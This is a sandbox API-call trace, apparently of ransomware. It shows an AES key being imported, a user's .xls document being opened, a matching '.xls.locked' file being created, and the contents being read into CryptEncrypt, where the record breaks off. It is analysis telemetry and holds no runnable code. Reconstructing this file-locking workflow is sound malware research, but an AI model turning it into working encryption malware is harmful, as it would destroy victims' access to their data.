SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0132.851] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0132.851] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.851] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0132.851] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.851] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0132.851] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0132.851] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.851] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0132.851] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.851] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0132.852] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0132.852] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0132.852] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0132.852] SystemFunction041 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.852] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0132.852] SystemFunction040 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.852] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0132.852] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0132.852] SystemFunction041 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.852] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0132.852] SystemFunction040 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.852] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0132.852] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0132.852] SystemFunction041 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.852] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0132.852] SystemFunction040 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.852] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0132.852] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0132.852] SystemFunction041 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.853] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0132.853] SystemFunction040 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.853] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0132.853] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0132.853] SystemFunction041 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.853] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0132.853] SystemFunction040 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.853] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0132.853] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0132.853] SystemFunction041 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.853] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0132.853] SystemFunction040 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.853] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0132.853] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0132.853] SystemFunction041 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.853] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0132.853] SystemFunction040 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.854] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0132.854] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0132.854] SystemFunction041 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.854] SystemFunction040 (in: Memory=0x438377c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438377c) returned 0x0 [0132.854] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0132.854] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0132.854] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0132.854] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0132.854] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0132.854] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0132.855] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0132.855] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0132.855] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0132.855] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0132.856] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x43964e8) returned 1 [0132.856] CryptImportKey (in: hProv=0x43964e8, pbData=0x691f308, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84bb8) returned 1 [0132.856] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0132.856] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0132.856] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.856] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x59, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.857] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.857] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\g dnfcb6fnjnr\\es3 _gqz.xls")) returned 0x20 [0132.857] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\g dnfcb6fnjnr\\es3 _gqz.xls")) returned 0x20 [0132.858] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", lpFilePart=0x0) returned 0x3a [0132.858] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", lpFilePart=0x0) returned 0x3a [0132.858] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.858] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", lpFilePart=0x0) returned 0x3a [0132.858] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", lpFilePart=0x0) returned 0x3a [0132.858] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0132.858] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.858] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.858] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.860] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls", lpFilePart=0x0) returned 0x3a [0132.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0132.860] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\g dnfcb6fnjnr\\es3 _gqz.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0132.860] GetFileType (hFile=0x858) returned 0x1 [0132.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0132.861] GetFileType (hFile=0x858) returned 0x1 [0132.861] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.861] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0132.861] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.861] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.861] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.861] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls.locked", lpFilePart=0x0) returned 0x41 [0132.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0132.861] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\g dNFcb6FnjnR\\ES3 _Gqz.xls.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\g dnfcb6fnjnr\\es3 _gqz.xls.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0132.862] GetFileType (hFile=0x874) returned 0x1 [0132.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0132.862] GetFileType (hFile=0x874) returned 0x1 [0132.862] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.862] CryptGenRandom (in: hProv=0x43964e8, dwLen=0x10, pbBuffer=0x6936e14 | out: pbBuffer=0x6936e14) returned 1 [0132.862] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0132.862] CryptDuplicateKey (in: hKey=0x8e84bb8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84df8) returned 1 [0132.862] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0132.862] CryptSetKeyParam (hKey=0x8e84df8, dwParam=0x4, pbData=0x69380d0*=0x1, dwFlags=0x0) returned 1 [0132.862] CryptSetKeyParam (hKey=0x8e84df8, dwParam=0x1, pbData=0x693809c, dwFlags=0x0) returned 1 [0132.862] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xf1f0\x437\x24a") returned 0x0 [0132.862] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.862] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.862] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.863] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.863] ReadFile (in: hFile=0x858, lpBuffer=0x693b6f4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x693b6f4*, lpNumberOfBytesRead=0x99ae7a8*=0xd46, lpOverlapped=0x0) returned 1 [0132.863] CryptEncrypt (in: hKey=0x8e84df8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x694f700*, pdwDataLen=0x99ae79c*=0xd40, dwBufLen=0xd40 | out: pbData=0x694f700*, 